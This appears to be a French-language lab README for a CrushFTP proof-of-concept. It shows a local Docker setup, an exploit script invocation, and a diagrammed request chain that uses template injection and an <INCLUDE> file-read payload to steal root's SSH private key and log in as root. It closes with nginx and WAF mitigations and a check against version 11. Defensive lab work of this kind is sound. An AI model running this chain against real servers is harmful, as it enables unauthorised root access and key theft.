pip install requests rich

docker-compose up -d

python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<collez la clé depuis la sortie>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

whoami
# Attendu : root

id
# Attendu : uid=0(root) gid=0(root) groups=0(root)

hostname
# Attendu : <container_id>

Attaquant non authentifié
        │
        ▼
GET /WebInterface/          ← obtient les cookies anonymes CrushAuth + currentAuth
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI confirmée — modèle évalué par le serveur
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← divulgue le chemin d'installation absolu
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← lecture de fichier arbitraire
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← shell root complet

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Activer ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy tout le trafic vers CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Retourner 403 pour les requêtes bloquées
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

Attaquant -> NGINX WAF (port 80) -> bloque les malveillants -> 403 Interdit
                             -> transmet les propres -> CrushFTP:8080

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

events {}
http {
  server {
    listen 80;

    # Autoriser les ressources statiques sans authentification
    location ~* \.(css|js|png|jpg|ico|gif)$ {
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
    }

    # Bloquer l'accès non authentifié à WebInterface
    location /WebInterface/ {
      if ($http_authorization = "") {
        return 401 "Authentication Required - Anonymous sessions disabled";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header Authorization $http_authorization;
    }

    # Bloquer tout le reste sans authentification
    location / {
      if ($http_authorization = "") {
        return 401 "Authentication Required";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
    }
  }
}

# Confirmer que la requête non authentifiée est rejetée par NGINX
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Attendu : 401 Unauthorized

# Optionnel : la requête authentifiée doit être transmise
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername

FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt

RUN apt-get update -y && apt-get -y install unzip wget openssh-server

COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip

EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22

WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"

CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d

docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d

# Exécuter l'exploit contre la v11 – doit échouer
# Note : le script de ce dépôt utilise -t/--target.
python3 crushed.py -t http://localhost:8080

# Attendu : l'exploit ne retourne aucune sortie ou une erreur de connexion